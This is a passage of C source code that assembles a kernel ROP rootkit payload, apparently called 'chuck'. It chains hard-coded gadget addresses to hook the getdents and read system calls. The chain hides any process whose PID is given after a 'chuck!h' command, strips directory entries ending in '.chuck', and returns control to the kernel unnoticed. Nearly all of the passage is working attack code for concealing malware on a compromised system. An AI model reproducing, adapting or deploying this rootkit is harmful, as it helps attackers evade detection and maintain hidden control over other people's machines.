add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Now we must increase the PID_INDEX by 16, since we added two
// values to the array.
// As we do not have an offset in this case we can load the address
// directly into RSI.
add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size); // POP RSI; RET;
add_patch_entry(fake_stack, fake_stack_size, PID_INDEX, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // PID_INDEX,
// must be overwritten by init
// Load PID_INDEX's value into RAX
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, PID_INDEX, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // PID_INDEX,
// must be overwritten by init
// We want the VALUE within PID_INDEX
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET;
// Load offset (16) into RDI
add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size); // POP RDI; RET
add_to_fake_stack(0x10, fake_stack, fake_stack_size); // OFFSET
// Add offset to RAX
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// At this point: PID_INDEX += 16
// Finally do the actual hiding.
// Load struct pid pointer into RAX. The pointer is still in TMP.
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_patch_entry(fake_stack, fake_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // TMP,
// must be overwritten by init
// We want the VALUE within TMP
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET;
// The struct pid pointer is now in RAX
// Set pid_struct->number[0].nr to 0 (this is the PID)
// For our kernel this is pointer + 0x30
// Load offset (0x30) into RDI
add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size); // POP RDI; RET
add_to_fake_stack(0x30, fake_stack, fake_stack_size); // OFFSET
// Add offset to pointer
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// Move zero to the location
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX; RET
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // New PID == 0x0
add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size); // MOV [RAX],RDX; RET
// Process should now be hidden!
// ----------------------------------------------------------------
// << PID HIDING DONE
// ================================================================
// ================================================================
// >> EPILOG
// ----------------------------------------------------------------
// Finally we have to patch the conditional jumps that jumps over
// the entire sequence, if the command entered is not chuck!h.
// IMPORTANT: Do not update the fake_stack pointers, as we overwrite
// an existing area
// Jump over the remainder in case we hid the PID
// must be patched later on!
jmp_pid_hid = (*fake_stack);
generate_stack_increment(fake_stack, fake_stack_size, 0x0);
jmp_pid_hid_size = (*fake_stack_size);
// First if we could not find the PID
generate_conditional_jump_equal(&jmp_no_valid_pid,
&jmp_no_valid_pid_size,
(*fake_stack_size) - jmp_no_valid_pid_size);
// Debug output if enabled
// RDX: Value to compare
// RBX: Value to compare with
generate_get_state_value(fake_stack, fake_stack_size,
DEBUG, REG_RDX);
// Load value to compare with into RBX (0x1)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
// Jump over the remainder if debugging is off
jmp_no_debug = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_debug_size = (*fake_stack_size);
// Move the value of PID_PARSE into RSI
generate_get_state_value(fake_stack, fake_stack_size,
PID_PARSE, REG_RSI);
// Use %% here to actually print the PID
generate_printk(fake_stack, fake_stack_size,
"[ ROP - CHUCK ] [ DEBUG ] Could not find process with PID %%d!\n");
// Patch the jump from above
generate_conditional_jump_not_equal(&jmp_no_debug,
&jmp_no_debug_size,
(*fake_stack_size) - jmp_no_debug_size);
// Now the jump that is executed if this is not a hide command
generate_conditional_jump_not_equal(&jmp_not_command,
&jmp_not_command_size,
(*fake_stack_size) - jmp_not_command_size);
// Finally the stack increment
generate_stack_increment(&jmp_pid_hid,
&jmp_pid_hid_size,
(*fake_stack_size) - jmp_pid_hid_size);
}
/**
* This function will create and setup our payload fake stack.
*
* This gadget uses ALL general purpose registers!
*
* IMPORTANT: This function is NOT stack safe!
*/
static void create_payload_fake_stack(void)
{
// Vars
// Check for sys_read
void *jmp_to_read = 0;
u32 jmp_to_read_size = 0;
// Jump done getdents loop
void *jmp_getdents_done = 0;
u32 jmp_getdents_done_size = 0;
u32 loop_begin = 0;
// Jump within getdents
void *jmp_no_point = 0;
u32 jmp_no_point_size = 0;
void *jmp_no_hide_ext = 0;
u32 jmp_no_hide_ext_size = 0;
void *jmp_over_counter_inc = 0;
u32 jmp_over_counter_inc_size = 0;
// Check for STDIN
void *jmp_to_read_handler = 0;
u32 jmp_to_read_handler_size = 0;
// Check for single byte read
void *jmp_to_epilog = 0;
u32 jmp_to_epilog_size = 0;
printf(" [+] Creating payload fake stack...\n");
payload_stack = malloc(PAYLOAD_STACK_SIZE);
if (!payload_stack)
{
error(-1, 0, " \t[!] Failed to reserve memory for the payload fake stack!\n");
}
printf(" \t[*] Payload fake stack @ %p\n", payload_stack);
// Payload stack must be adapted according to the scenario it
// is used in. In our case we want to intercept the read system
// call.
// ================================================================
// >> DETERMINE SYSCALL
// ----------------------------------------------------------------
// Is this a getdents or a read system call?
// We get this information from the system call handler.
// For this to work we first need the location of the original
// kernel stack.
// ----------------------------------------------------------------
// Get the location of the original kernel stack
// ----------------------------------------------------------------
// Lets first calculate the address of the kernel stack.
// For this we move the address of the per_cpu kernel stack into RAX.
// This address is contained in gs:0xc730. It is a fixed address for
// our target machine.
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size); // gs:0xc730
// We want the VALUE at this address
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// RAX is stored at rsp - 0x30
add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size); // POP RSI; RET;
add_to_fake_stack(0x30, &payload_stack, &payload_stack_size); // Offset to RAX
// We now have to SUBSTRACT (the stack grows down!) this value from the
// kernel stack in RAX to get the value the SP had before our sysenter
// hook was invoked.
add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size); // SUB RAX, RSI; RET;
// Finally we want the value at the address.
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET;
// The system call number is now in RAX!
// Save the system call number
generate_set_state_value(&payload_stack, &payload_stack_size,
RAX, REG_RAX);
// ----------------------------------------------------------------
// Dispatch system call
// ----------------------------------------------------------------
// Next we want to compare the system call number will 0x0 (sys_read).
// If it matches, we want to jump to sys_read. Otherwise we directly
// flow into sys_getdents. As the getdents handler follows this
// part of the chain, a jump is not needed in this case.
// RBX must contain the value to compare with
// RDX must contain the value to compare
// RDX -> system call number
generate_get_state_value(&payload_stack, &payload_stack_size,
RAX, REG_RDX);
// RBX -> 0 (sys_read)
generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);
// Jump placeholder. Will be fixed at the end.
jmp_to_read = payload_stack;
generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
jmp_to_read_size = payload_stack_size;
// ----------------------------------------------------------------
// << DETERMINE SYSCALL DONE
// ================================================================
// ================================================================
// ================================================================
// GETDENTS SYSTEM CALL!
// ================================================================
// >> EXECUTE GETDENTS
// ----------------------------------------------------------------
// Our payload requires the result of the getdents system call. Thus
// we start by executing it.
// First load all the arguments (RDI, RSI, RDX)
// ----------------------------------------------------------------
// LOAD RSI
// ----------------------------------------------------------------
generate_get_state_value(&payload_stack, &payload_stack_size,
RSI, REG_RSI);
// ----------------------------------------------------------------
// LOAD RDI
// ----------------------------------------------------------------
// We cannot make use of the normal gadget as it uses RDI.
// Thus we use the unsafe gadget.
generate_get_state_value_unsafe(&payload_stack, &payload_stack_size,
RDI, REG_RDI);
// ----------------------------------------------------------------
// LOAD RDX
// ----------------------------------------------------------------
// RDX must be last, since the get_state_value_unsafe gadget
// sequence uses it.
generate_get_state_value_unsafe(&payload_stack, &payload_stack_size,
RDX, REG_RDX);
// ----------------------------------------------------------------
// Invoke SYS_GETDENTS
// ----------------------------------------------------------------
// Load Address of 'sys_getdents' into RAX
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff811a63a0, &payload_stack, &payload_stack_size); // Address of sys_getdents
// Enable interrupts
add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size); // STI; RET;
// "Call" sys_getdents
add_to_fake_stack(0xffffffff81000110, &payload_stack, &payload_stack_size); // JMP RAX;
// RAX now contains the return value of sys_getdents
// Read my reenable interrupts. So we make sure they are off when
// we return.
add_to_fake_stack(0xffffffff811e3492, &payload_stack, &payload_stack_size); // CLI; RET;
// Save the return value such that we later can hand control back to the
// system call handler
add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size); // POP RSI, RET;
add_patch_entry(&payload_stack, &payload_stack_size, RAX, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // RAX
// must be overwritten by init
// RSI now points to RAX within the state!
// Save the return value within the state
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// ----------------------------------------------------------------
// << EXECUTE GETDENTS DONE
// ================================================================
// ================================================================
// >> FUNCTIONALITY GETDENTS
// ----------------------------------------------------------------
// This area contains the actual funtionality.
// Alrighty, we want to hide all entries that end with ".chuck".
// To do this we loop over all entries in the struct returned by
// Getdents.
// ----------------------------------------------------------------
// SEARCH LOOP
// ----------------------------------------------------------------
generate_pop(&payload_stack, &payload_stack_size, REG_RSI);
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // Counter is zero at the
// beginning.
// LOOP_BEGIN:
loop_begin = (*&payload_stack_size);
// Did we reach the end of the struct? To see this, we have to
// compare the return value with the current counter value.
// First we load the return value of getdents into RBX.
generate_get_state_value(&payload_stack, &payload_stack_size,
RAX, REG_RBX);
// Next we load the counter (RSI) into RDX
generate_move_to_rax(&payload_stack, &payload_stack_size, REG_RSI);
generate_move_from_rax(&payload_stack, &payload_stack_size, REG_RDX);
// Compare. If this is the end of the struct go to EPILOG
jmp_getdents_done = payload_stack;
generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
jmp_getdents_done_size = payload_stack_size;
// Okay. We now want to check wether the current entry ends
// with ".chuck". For this to work we first need to find
// the last occurrence of a "." in the current entry.
// We use a call to strrchr for this purpose.
// Prepare an external function call to strrchr on the kernel stack,
// First temporarily save the counter
generate_set_state_value(&payload_stack, &payload_stack_size,
COUNTER, REG_RSI);
// Obtain the record_size
// Load base address into RSI
generate_get_state_value(&payload_stack, &payload_stack_size,
RSI, REG_RSI);
// Load the counter value into RAX
generate_get_state_value(&payload_stack, &payload_stack_size,
COUNTER, REG_RAX);
// Recored length begins 16 bytes after the counter
generate_add_value(&payload_stack, &payload_stack_size,
16, REG_RAX);
// Add buffer to offset
add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size); // ADD RAX, RSI; RET;
// RAX now points to record length.
// Get the value at the address!
add_to_fake_stack(0xffffffff81074b57, &payload_stack, &payload_stack_size); // MOV EAX, [RAX]; RET
// Load mask into RDX
generate_pop(&payload_stack, &payload_stack_size, REG_RDX);
add_to_fake_stack(0xffff, &payload_stack, &payload_stack_size); // 0xffff
// Remove all but the first two bytes
add_to_fake_stack(0xffffffff815af5a9, &payload_stack, &payload_stack_size); // AND EAX,EDX; RET;
// Safe the record size in TMP
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP, REG_RAX);
// Load the arguments into their respective locations.
// strrchr expects two arguments
// RDI: The string to search
// RSI: The character to search for.
// Load the buffer (original value of RSI) into RSI
generate_get_state_value(&payload_stack, &payload_stack_size,
RSI, REG_RSI);
// Load the counter value into RAX
generate_get_state_value(&payload_stack, &payload_stack_size,
COUNTER, REG_RAX);
// String begins 18 bytes after the counter
generate_add_value(&payload_stack, &payload_stack_size,
18, REG_RAX);
// Add buffer to offset
add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size); // ADD RAX, RSI; RET;
// RAX now points to string.
// Store this value.
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RDI, REG_RAX);
// 1st argument ready.
// Now 2nd argument. We search for "."
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0x2e, &payload_stack, &payload_stack_size); // "."
// Store this value.
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RSI, REG_RAX);
// 2nd argument ready.
// Call "strrchr"
generate_external_call(&payload_stack, &payload_stack_size,
0xffffffff8134efe0); // Address of strrchr
// RAX now contains the location or NULL.
// Save the return value
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RAX, REG_RAX);
// Jmp if value is NULL
// RDX must conatin the return value.
generate_get_state_value(&payload_stack, &payload_stack_size,
TMP_RAX, REG_RDX);
// RBX value to compare with
generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // NULL
jmp_no_point = payload_stack;
generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
jmp_no_point_size = payload_stack_size;
// THIS PART IS ONLY EXECUTED IF THE POINTER RETURNED BY STRRCHR
// IS != NULL
// Prepare call to strncmp.
// 1st RDI, which must be set to the pointer returned by STRRCHR
generate_get_state_value(&payload_stack, &payload_stack_size,
TMP_RAX, REG_RAX);
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RDI, REG_RAX);
// 1st argument done.
// 2nd RSI, which must point to the string we want to compare to
// we abuse TMP_RAX for this purpose.
// Load extension into TMP_RAX
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0x00006b637568632e, &payload_stack, &payload_stack_size); // ".chuck\x00\x00"
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RAX, REG_RAX);
// Load pointer to TMP RAX into TMP RSI
generate_pop(&payload_stack, &payload_stack_size, REG_RAX); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP_RAX, 0x0);
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // Will be overwritten
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RSI, REG_RAX);
// 2nd argument done.
// 3rd RDX, which must contain the size to compare.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX); // POP RAX; RET;
add_to_fake_stack(0x6, &payload_stack, &payload_stack_size); // 6 (.chuck)
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RDX, REG_RAX);
// 3rd argument done
// Call strncmp
generate_external_call(&payload_stack, &payload_stack_size,
0xffffffff8134ef40); // Address of 'strncmp'
// RAX contains the result.
// Jump if RAX is not zero!
// => strings are different
// RDX must conatin the return value.
generate_move_from_rax(&payload_stack, &payload_stack_size, REG_RDX);
// RBX value to compare with
generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // 0x0
jmp_no_hide_ext = payload_stack;
generate_conditional_jump_not_equal(&payload_stack, &payload_stack_size, 0x0);
jmp_no_hide_ext_size = payload_stack_size;
// THIS PART IS ONLY EXECUTED IF THE EXTENSION WAS FOUND!
// Now we need to use memcpy and update the struct.
// 1st RDI, which must contain the destination pointer
// Load base address into RSI
generate_get_state_value(&payload_stack, &payload_stack_size,
RSI, REG_RSI);
// Load the counter value into RAX
generate_get_state_value(&payload_stack, &payload_stack_size,
COUNTER, REG_RAX);
// Add buffer to offset
add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size); // ADD RAX, RSI; RET;
// RAX now points to string.
// Store this value.
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RDI, REG_RAX);
// 1st argument done.
// 2nd RSI, which must point after the current entry.
// We can calculate the source address
// source = base + counter + record_size
// Load base address into RSI
generate_get_state_value(&payload_stack, &payload_stack_size,
RSI, REG_RSI);
// Load record_size into RDX
generate_get_state_value(&payload_stack, &payload_stack_size,
TMP, REG_RDX);
// Load the counter value into RAX
generate_get_state_value(&payload_stack, &payload_stack_size,
COUNTER, REG_RAX);
// Add base to counter
add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size); // ADD RAX, RSI; RET;
// Add record_size to counter
add_to_fake_stack(0xffffffff8101baf1, &payload_stack, &payload_stack_size); // ADD RAX, RDX; RET
// Safe
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RSI, REG_RAX);
// 2nd argument done.
// 3rd RDX, the length to copy.
// This is the original return value - counter - record_size
// In this process we will also update the Return value,
// which must be decreased by record_size
// Load record_size into RSI
generate_get_state_value(&payload_stack, &payload_stack_size,
TMP, REG_RSI);
// Load return value in RAX
generate_get_state_value(&payload_stack, &payload_stack_size,
RAX, REG_RAX);
add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size); // SUB RAX, RSI; RET;
// RAX now contains the new return value.
// Save.
generate_set_state_value(&payload_stack, &payload_stack_size,
RAX, REG_RAX);
// Now substract counter to use it as 3rd argument
// Load counter into RSI
generate_get_state_value(&payload_stack, &payload_stack_size,
COUNTER, REG_RSI);
// Load return value in RAX
generate_get_state_value(&payload_stack, &payload_stack_size,
RAX, REG_RAX);
add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size); // SUB RAX, RSI; RET;
// Save
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP_RDX, REG_RAX);
// 3rd argument done.
// Call memcopy
generate_external_call(&payload_stack, &payload_stack_size,
0xffffffff81354190); // Address of 'memcpy'
// The next sequence will patch the jumps and increase the counter.
// IMPORTANT: We only need to increase the counter if we did NOT use memcpy.
// Otherwise the counter will skip an entry!
// As we do not know the size yet, we have to patch this increment.
jmp_over_counter_inc = payload_stack;
generate_stack_increment(&payload_stack, &payload_stack_size, 0x0);
jmp_over_counter_inc_size = payload_stack_size;
// JUMPS from strrchr or strncmp will land here!
// Patch jumps that do no exit the loop (strrchr fail or strncmp fail)
// strrchr
generate_conditional_jump_equal(&jmp_no_point,
&jmp_no_point_size,
payload_stack_size - jmp_no_point_size);
// strcmp
generate_conditional_jump_not_equal(&jmp_no_hide_ext,
&jmp_no_hide_ext_size,
payload_stack_size - jmp_no_hide_ext_size);
// Increase the counter by record size
// Load record_size into RSI
generate_get_state_value(&payload_stack, &payload_stack_size,
TMP, REG_RSI);
// Load counter into RAX
generate_get_state_value(&payload_stack, &payload_stack_size,
COUNTER, REG_RAX);
// Add
add_to_fake_stack(0xffffffff81047bfa, &payload_stack, &payload_stack_size); // ADD RAX, RSI; RET;
// Save counter
generate_set_state_value(&payload_stack, &payload_stack_size,
COUNTER, REG_RAX);
// This must be executed in every case exit for the exit jump!
// Thus we have to patch the increment from before
generate_stack_increment(&jmp_over_counter_inc,
&jmp_over_counter_inc_size,
payload_stack_size - jmp_over_counter_inc_size);
// Move counter back to RSI before we jump to the beginning of the loop
generate_get_state_value(&payload_stack, &payload_stack_size,
COUNTER, REG_RSI);
// Jump back up to LOOP_BEGIN
generate_stack_decrement(&payload_stack, &payload_stack_size,
payload_stack_size - loop_begin);
// Patch exit jump
generate_conditional_jump_equal(&jmp_getdents_done,
&jmp_getdents_done_size,
payload_stack_size - jmp_getdents_done_size);
// ----------------------------------------------------------------
// << FUNCTIONALITY GETDENTS DONE
// ================================================================
// ================================================================
// >> EPILOG GETDENTS
// ----------------------------------------------------------------
// In the epilog we must restore the callee saved registers (RBX,
// RBP), the return value, and hand control back to the original
// kernel execution path.
// ----------------------------------------------------------------
// 1. Get the location of the original kernel stack
// ----------------------------------------------------------------
// Lets first calculate the address of the kernel stack.
// For this we move the address of the per_cpu kernel stack into RAX.
// This address is contained in gs:0xc730. It is a fixed address for
// our target machine.
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size); // gs:0xc730
// We want the VALUE at this address
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// Load offset from per_cpu(kernel_stack) to current
// kernel stack (basically we have to account for the memory
// that the system call handler is using) into RSI
add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size); // POP RSI; RET;
add_to_fake_stack(0x60, &payload_stack, &payload_stack_size); // Offset. This is
// the space that the
// system_call_handler
// is using.
// We now have to SUBSTRACT (the stack grows down!) this value from the
// kernel stack in RAX to get the value the SP had before our sysenter
// hook was invoked.
add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size); // SUB RAX, RSI; RET;
// ----------------------------------------------------------------
// 2. Prepare the kernel stack for the control transfer
// ----------------------------------------------------------------
// The original kernel stack still contains the return address. We can
// use this and switch to it using a LEAVE; RET. What is missing is the
// original RBP on the kernel stack. So we write it there.
// First of all we store the kernel stack value temporarily.
// To do this we move it to the state TMP filed that we load
// into RSI.
add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size); // POP RSI; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
// SAVE
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Restore RAX, which was overwritten by the last gadget
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// We now move the current kernel stack into RSI. The gadget contains
// a call, so we must setup RBX first. Simply pop the return address that
// is pushed by the call
add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size); // POP RBX; RET;
add_to_fake_stack(0xffffffff812ca859, &payload_stack, &payload_stack_size); // Address of POP RBX;
// RET;
// Now move the kernel stack pointer (RAX) to RSI
add_to_fake_stack(0xffffffff8103b7b9, &payload_stack, &payload_stack_size); // MOV RSI,RAX;
// CALL RBX;
// Since we want to call a function (kfree) before we return, we have to
// place the return value of the system call we executed on the stack
// such that it is popped after the call to kfree.
// Load the return value into RAX.
generate_get_state_value(&payload_stack, &payload_stack_size,
RAX, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// return value now on the kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Address of 'POP RAX; RET' into RAX
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RAX; RET on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load STI; RET; on kernel stack
// This will enable interrupts on the kernel stack
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81066b92, &payload_stack, &payload_stack_size); // Address of STI; RET;
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// STI; RET; now on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// We now move the address of 'kfree' onto the kernel stack
// This will free the memory of the payload area before we return.
generate_pop(&payload_stack, &payload_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff8117c7b0, &payload_stack, &payload_stack_size); // Address of 'kfree'
// Move
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// 'kfree' now on the kernel stack
// Move our interrupt enabling gadget to the kernel stack.
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(&payload_stack, &payload_stack_size,
0x8, REG_RSI);
// Load the original RBP value into RAX
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, RBP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // RBP,
// must be overwritten by init
// We want the VALUE within the state field of RBP
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET;
// Move the original RBP to the kernel stack
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Orginal RBP now on kernel stack.
// Save new value of kernel stack pointer
generate_set_state_value(&payload_stack, &payload_stack_size,
TMP, REG_RSI);
// ----------------------------------------------------------------
// 3. Restore/Prepare Registers
// ----------------------------------------------------------------
// Restore the Original value of RBX as it is callee saved
generate_get_state_value(&payload_stack, &payload_stack_size,
RBX, REG_RBX);
// Set RDI to the payload pointer for the call to 'kfree'
generate_get_state_value(&payload_stack, &payload_stack_size,
PAYLOAD, REG_RDI);
// ----------------------------------------------------------------
// 4. Transfer control back to the kernel.
// ----------------------------------------------------------------
// IMPORTANT: Do NOT override RDI!
// For this we first get the kernel stack value from the state
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// MOVE RAX to RBP for the LEAVE; RET;
// Move new SP to RBP
add_to_fake_stack(0xffffffff8116747c, &payload_stack, &payload_stack_size); // PUSH RAX; POP RBP; RET
// Ramrod, activate the kernel.
add_to_fake_stack(LEAVE_RET, &payload_stack, &payload_stack_size); // LEAVE; RET;
// ----------------------------------------------------------------
// << EPILOG GETDENTS DONE
// ================================================================
// ================================================================
// ================================================================
// READ SYSTEM CALL!
// Patch jump.
generate_conditional_jump_equal(&jmp_to_read,
&jmp_to_read_size,
payload_stack_size - jmp_to_read_size);
// ================================================================
// >> CHECK FOR STDIN
// ----------------------------------------------------------------
// If we are not reading from STDIN, we return immediatly
// RBX must contain the value to compare with
// RDX must contain the value to compare
// RBX -> 0 (stdin)
generate_pop(&payload_stack, &payload_stack_size, REG_RBX);
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size);
// RDX must contain the FD, which is the first argument of the
// read system call and thus was stored in RDI.
generate_get_state_value(&payload_stack, &payload_stack_size,
RDI, REG_RDX);
// Jump placeholder. Will be fixed at the end.
jmp_to_read_handler = payload_stack;
generate_conditional_jump_equal(&payload_stack, &payload_stack_size, 0x0);
jmp_to_read_handler_size = payload_stack_size;
// ONLY EXECUTED IF THIS READ SYSTEM CALL DOES NOT READ FROM STDIN
// In this case we let the kernel do its thing
// ----------------------------------------------------------------
// 1. Get the location of the original kernel stack
// ----------------------------------------------------------------
// Lets first calculate the address of the kernel stack.
// For this we move the address of the per_cpu kernel stack into RAX.
// This address is contained in gs:0xc730. It is a fixed address for
// our target machine.
add_to_fake_stack(0xffffffff8100a4de, &payload_stack, &payload_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffff88003d80c730, &payload_stack, &payload_stack_size); // gs:0xc730
// We want the VALUE at this address
add_to_fake_stack(0xffffffff81074b56, &payload_stack, &payload_stack_size); // MOV RAX, [RAX]; RET
// Load offset from per_cpu(kernel_stack) to current
// kernel stack (basically we have to account for the memory
// that the system call handler is using) into RSI
add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size); // POP RSI; RET;
add_to_fake_stack(0x60, &payload_stack, &payload_stack_size); // Offset. This is
// the space that the
// system_call_handler
// is using.
// We now have to SUBSTRACT (the stack grows down!) this value from the
// kernel stack in RAX to get the value the SP had before our sysenter
// hook was invoked.
add_to_fake_stack(0xffffffff8158f734, &payload_stack, &payload_stack_size); // SUB RAX, RSI; RET;
// ----------------------------------------------------------------
// 2. Prepare the kernel stack for the control transfer
// ----------------------------------------------------------------
// First of all we store the kernel stack value temporarily.
// To do this we move it to the state TMP filed that we load
// into RSI.
add_to_fake_stack(0xffffffff81343c9e, &payload_stack, &payload_stack_size); // POP RSI; RET;
add_patch_entry(&payload_stack, &payload_stack_size, TMP, 0); // Create a patch entry
add_to_fake_stack(0x0, &payload_stack, &payload_stack_size); // TMP,
// must be overwritten by init
// SAVE
add_to_fake_stack(0xffffffff8102eaa1, &payload_stack, &payload_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Restore RAX, which was overwritten by the last gadget
